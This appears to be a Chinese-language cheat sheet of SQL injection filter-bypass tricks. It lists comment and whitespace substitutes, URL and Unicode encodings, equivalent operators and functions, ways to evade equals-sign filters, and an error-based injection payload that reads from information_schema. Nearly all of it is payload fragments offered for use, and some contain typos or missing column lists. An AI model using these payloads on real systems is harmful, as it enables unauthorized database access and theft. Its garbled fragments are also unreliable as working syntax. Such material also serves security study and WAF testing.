(1)注释
#、--、-- -、--+、/**/、/*letmetest*/、;%00
(2)空格
SQL中可以代替空格中字符有
/**/、()、+、%20、%09、%0a、0x0a、0x0b、0x0c、0x0d等
还可以使用的有
+、-、~、. 等
我们在拼接语句的时候就可以在这里使用,比如
uinion+select+1,2
(3)编码
Hex编码、URL编码、宽字节、 Un i code编码(is支持)
①、URL编码:%66%72%20%31%3d%31(and 1=1)
②、 Uni code编码: un%u0069on
(4)等价字符以及等价函数
and or xor 的过滤
1. and => &&
2. or => ||
3. xor => ^
4. not => !
等价函数
hex()、 bin()==>ascii()
concat_ws()==>group_concat()
sleep()==>benchmark()
mid()、substr()==>substring()
@@user==user()
@datadir==datadir()
获取列数、表名、表名、库名
过滤等号绕过
二、使用<>绕过<>等价于 != 所以我们可以在<>前加个!就变成等于了。
例如:d=-1 union select from users where (id<2)%23
使用like绕过=
使用通配符like执行的效果和 = 一致
所以可以用来绕过等号过滤。-1 union select from users where id like 2%23
报错注入
?id=1'union select 1,count(*),concat((select user()),floor(rand(0)*2)) as a from information_schema.schemata group by a--+